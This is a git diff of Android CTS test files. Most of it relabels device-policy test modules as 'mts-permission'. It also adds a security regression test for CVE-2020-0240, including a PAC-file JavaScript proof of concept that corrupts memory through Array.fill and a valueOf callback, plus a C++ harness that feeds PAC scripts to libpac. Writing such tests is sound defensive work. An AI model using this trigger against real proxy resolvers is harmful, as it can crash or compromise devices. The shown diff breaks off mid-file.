--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp
@@ -31,6 +31,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp
index da26cee..676db50 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp
@@ -31,6 +31,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp
index 19b788b..7e99e91 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp
@@ -31,6 +31,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp
index acc77ac..f124fdf 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp
@@ -31,6 +31,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp
index 5786981..5144726 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp
@@ -31,6 +31,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
index 7383a9e..f198140 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
@@ -31,6 +31,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp b/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
index bf00089..50c0546 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
@@ -20,7 +20,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     srcs: ["src/**/*.java"],
     static_libs: [
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/Android.bp b/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
index 14bea7d..c6c51a4 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
@@ -35,6 +35,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp b/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
index 4a587f7..ef1728f 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
@@ -32,7 +32,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "api23/AndroidManifest.xml",
 }
@@ -59,7 +59,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "api24/AndroidManifest.xml",
 }
@@ -84,7 +84,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "api29/AndroidManifest.xml",
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp b/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
index aaacefa8e..ceefa60 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
@@ -28,7 +28,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "package1/AndroidManifest.xml",
 }
@@ -49,7 +49,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "package2/AndroidManifest.xml",
 }
@@ -70,7 +70,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "package3/AndroidManifest.xml",
 }
@@ -91,7 +91,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "package4/AndroidManifest.xml",
 }
@@ -112,7 +112,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "packageb/AndroidManifest.xml",
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
index e32c4ae..55ad4b1 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
@@ -36,7 +36,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "api23/AndroidManifest.xml",
 }
@@ -66,7 +66,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "api25/AndroidManifest.xml",
 }
@@ -96,7 +96,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "latest/AndroidManifest.xml",
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
index 48826af..47f635a 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp
@@ -45,6 +45,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/DummyApps/Android.bp b/hostsidetests/devicepolicy/app/DummyApps/Android.bp
index 869a908..2992f74 100644
--- a/hostsidetests/devicepolicy/app/DummyApps/Android.bp
+++ b/hostsidetests/devicepolicy/app/DummyApps/Android.bp
@@ -34,7 +34,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "dummyapp1/AndroidManifest.xml",
 }
@@ -61,7 +61,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "dummyapp2/AndroidManifest.xml",
 }
@@ -88,7 +88,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "dummyapp3/AndroidManifest.xml",
 }
@@ -115,7 +115,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "dummyapp4/AndroidManifest.xml",
 }
diff --git a/hostsidetests/devicepolicy/app/DummyIme/Android.bp b/hostsidetests/devicepolicy/app/DummyIme/Android.bp
index 7955f42..53f5470 100644
--- a/hostsidetests/devicepolicy/app/DummyIme/Android.bp
+++ b/hostsidetests/devicepolicy/app/DummyIme/Android.bp
@@ -25,6 +25,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/DummyLauncher/Android.bp b/hostsidetests/devicepolicy/app/DummyLauncher/Android.bp
index e0d39d3..8bbad84 100644
--- a/hostsidetests/devicepolicy/app/DummyLauncher/Android.bp
+++ b/hostsidetests/devicepolicy/app/DummyLauncher/Android.bp
@@ -24,6 +24,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
index 825bb12..e4216d5 100644
--- a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
@@ -29,7 +29,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     sdk_version: "current",
 }
@@ -50,7 +50,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "no_launcher_activity_AndroidManifest.xml",
     sdk_version: "current",
@@ -72,7 +72,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "no_permission_AndroidManifest.xml",
     sdk_version: "current",
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp b/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
index d807701..c65008a 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
@@ -32,6 +32,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/IntentSender/Android.bp b/hostsidetests/devicepolicy/app/IntentSender/Android.bp
index 8e6a7f0..67e7a75 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/Android.bp
+++ b/hostsidetests/devicepolicy/app/IntentSender/Android.bp
@@ -32,6 +32,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.bp b/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
index 3aad240..022c5fbf 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
@@ -33,6 +33,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
index 3263267..b1507f9 100644
--- a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
+++ b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.bp
@@ -25,6 +25,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
index c5a56e1..7e0867a 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.bp
@@ -38,7 +38,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     platform_apis: true,
 }
diff --git a/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp b/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
index 94f9784..f944368 100644
--- a/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/MeteredDataTestApp/Android.bp
@@ -22,7 +22,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/devicepolicy/app/NotificationSender/Android.bp b/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
index a10f627..e667c50 100644
--- a/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
+++ b/hostsidetests/devicepolicy/app/NotificationSender/Android.bp
@@ -21,7 +21,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp b/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
index d0de5a7..117353f 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/Android.bp
@@ -33,6 +33,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp b/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp
index 7c9fb37..d4679d3 100644
--- a/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp
+++ b/hostsidetests/devicepolicy/app/PasswordComplexity/Android.bp
@@ -31,6 +31,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/PrintingApp/Android.bp b/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
index 8b54d28..51ebde4 100644
--- a/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/PrintingApp/Android.bp
@@ -23,6 +23,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp b/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
index 3895dab..65f1e8b 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/Android.bp
@@ -33,6 +33,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
index d0ed2e7..49893de 100644
--- a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
@@ -34,6 +34,6 @@
         "vts10",
         "general-tests",
 	"sts",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/SharingApps/Android.bp b/hostsidetests/devicepolicy/app/SharingApps/Android.bp
index 0ba93e0..e44f335 100644
--- a/hostsidetests/devicepolicy/app/SharingApps/Android.bp
+++ b/hostsidetests/devicepolicy/app/SharingApps/Android.bp
@@ -34,7 +34,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "sharingapp1/AndroidManifest.xml",
 }
@@ -61,7 +61,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     manifest: "sharingapp2/AndroidManifest.xml",
 }
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/Android.bp b/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
index 32a9c79a..cef49f6 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
@@ -22,7 +22,7 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
index 76fd05d..3b8e4f9 100644
--- a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
@@ -25,6 +25,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp b/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
index cc3538b..dd8189a 100644
--- a/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
@@ -25,6 +25,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
index 6d278cc..bbe0fbf 100644
--- a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
@@ -33,6 +33,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
index 7d3689a..5f52a2c 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
@@ -35,6 +35,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
index 5c62f0b..5fa314f 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
@@ -35,6 +35,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp b/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
index b6a608d..8d2960c 100644
--- a/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
+++ b/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
@@ -22,6 +22,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
index fa1b793..d6c9e5f1 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
@@ -25,6 +25,6 @@
         "cts",
         "vts10",
         "general-tests",
-        "mts",
+        "mts-permission",
     ],
 }
diff --git a/hostsidetests/scopedstorage/device/AndroidTest.xml b/hostsidetests/scopedstorage/device/AndroidTest.xml
index fb8d2bc..7e6f895 100644
--- a/hostsidetests/scopedstorage/device/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/device/AndroidTest.xml
@@ -32,4 +32,8 @@
         <option name="package" value="android.scopedstorage.cts.device" />
         <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
     </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+    </object>
 </configuration>
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/Android.bp b/hostsidetests/securitybulletin/res/cve_2020_0240.pac
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/Android.bp
copy to hostsidetests/securitybulletin/res/cve_2020_0240.pac
index 084a1fe..677120e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/Android.bp
+++ b/hostsidetests/securitybulletin/res/cve_2020_0240.pac
@@ -3,25 +3,25 @@
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at:
+ * You may obtain a copy of the License at
  *
- * http://www.apache.org/licenses/LICENSE-2.0
+ *      http://www.apache.org/licenses/LICENSE-2.0
  *
  * Unless required by applicable law or agreed to in writing, software
  * distributed under the License is distributed on an "AS IS" BASIS,
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- *
  */
 
-cc_test {
-    name: "CVE-2020-0224",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    shared_libs: [
-        "libpac",
-    ],
-    srcs: [
-        "poc.cpp",
-    ],
+function FindProxyForURL(url, host){
+array = [];
+array.length = 0xffffffff;
+
+b = array.fill(1.1, 0, {valueOf() {
+  array.length = 32;
+  array.fill(1.1);
+  return 0x80000000;
+}});
+return "DIRECT";
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/poc.cpp
deleted file mode 100644
index de62221..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/poc.cpp
+++ /dev/null
@@ -1,60 +0,0 @@
-/**
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <codecvt>
-#include <fstream>
-#include "../includes/common.h"
-#include <proxy_resolver_v8_wrapper.h>
-
-using namespace std;
-
-void poc(char* raw) {
-    ProxyResolverV8Handle* handle = ProxyResolverV8Handle_new();
-    string u8Script(raw);
-    u16string u16Script =
-            wstring_convert<codecvt_utf8_utf16<char16_t>, char16_t> { }
-                    .from_bytes(u8Script);
-
-    ProxyResolverV8Handle_SetPacScript(handle, u16Script.data());
-    const char16_t* spec = u"", *host = u"";
-    ProxyResolverV8Handle_GetProxyForURL(handle, spec, host);
-    ProxyResolverV8Handle_delete(handle);
-}
-
-int main(int argc, char **argv) {
-    if (argc != 2) {
-        return EXIT_FAILURE;
-    }
-
-    ifstream stream;
-    stream.open(argv[1]);
-    if (stream.rdstate() != ifstream::goodbit) {
-        return EXIT_FAILURE;
-    }
-
-    stream.seekg(0, ios::end);
-    size_t size = stream.tellg();
-    stream.seekg(0);
-    char* raw = (char*) calloc(size + 1, sizeof(char));
-    stream.read(raw, size);
-    time_t currentTime = start_timer();
-    while (timer_active(currentTime)) {
-        poc(raw);
-    }
-
-    free(raw);
-    return EXIT_SUCCESS;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0240/Android.bp
similarity index 88%
rename from hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/Android.bp
rename to hostsidetests/securitybulletin/securityPatch/CVE-2020-0240/Android.bp
index 084a1fe..d626fcc 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0224/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0240/Android.bp
@@ -16,12 +16,15 @@
  */
 
 cc_test {
-    name: "CVE-2020-0224",
+    name: "CVE-2020-0240",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    shared_libs: [
-        "libpac",
-    ],
     srcs: [
         "poc.cpp",
     ],
+    include_dirs: [
+        "external/chromium-libpac/includes",
+    ],
+    shared_libs: [
+        "libpac",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0240/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0240/poc.cpp
new file mode 100644
index 0000000..61e5e9f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0240/poc.cpp
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <codecvt>
+#include <fstream>
+#include <iostream>
+#include <proxy_resolver_v8_wrapper.h>
+#include <string.h>
+#include <sys/types.h>
+
+const char16_t *spec = u"";
+const char16_t *host = u"";
+
+int main(int argc, char *argv[]) {
+  if (argc != 2) {
+    return EXIT_FAILURE;
+  }
+
+  ProxyResolverV8Handle *handle = ProxyResolverV8Handle_new();
+
+  std::ifstream t;
+  t.open(argv[1]);
+  if (t.rdstate() != std::ifstream::goodbit) {
+    return EXIT_FAILURE;
+  }
+  t.seekg(0, std::ios::end);
+  size_t size = t.tellg();
+  char *raw = (char *)calloc(size + 1, sizeof(char));
+  t.seekg(0);
+  t.read(raw, size);
+  std::string u8Script(raw);
+  std::u16string u16Script =
+      std::wstring_convert<std::codecvt_utf8_utf16<char16_t>, char16_t>{}
+          .from_bytes(u8Script);
+
+  ProxyResolverV8Handle_SetPacScript(handle, u16Script.data());
+  ProxyResolverV8Handle_GetProxyForURL(handle, spec, host);
+
+  ProxyResolverV8Handle_delete(handle);
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java
index b02eeea..4cd94c9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0224.java
@@ -33,16 +33,10 @@
     @SecurityTest(minPatchLevel = "2020-07")
     @Test
     public void testPocCVE_2020_0224() throws Exception {
-        String inputFiles[] = {"cve_2020_0224.pac"};
-        String binaryName = "CVE-2020-0224";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
-        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
-        testConfig.config.setSignals(signals);
-        testConfig.config.checkMinAddress(false);
-        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
-        testConfig.inputFiles = Arrays.asList(inputFiles);
-        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
-        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+        AdbUtils.runProxyAutoConfig("cve_2020_0224", getDevice());
+        AdbUtils.assertNoCrashes(getDevice(), new CrashUtils.Config()
+                .setProcessPatterns("pacrunner")
+                .checkMinAddress(false)
+                .appendSignals(CrashUtils.SIGABRT));
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0240.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0240.java
new file mode 100644
index 0000000..352274e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0240.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0240 extends SecurityTestCase {
+
+    /**
+     * b/150706594
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2020-08")
+    @Test
+    public void testPocCVE_2020_0240() throws Exception {
+        String inputFiles[] = {"cve_2020_0240.pac"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0240",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
index 1ec6d89..797e58d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
@@ -29,35 +29,6 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_05 extends SecurityTestCase {
 
-    /**
-     *  b/34277115
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2017-05")
-    public void testPocCVE_2017_0630() throws Exception {
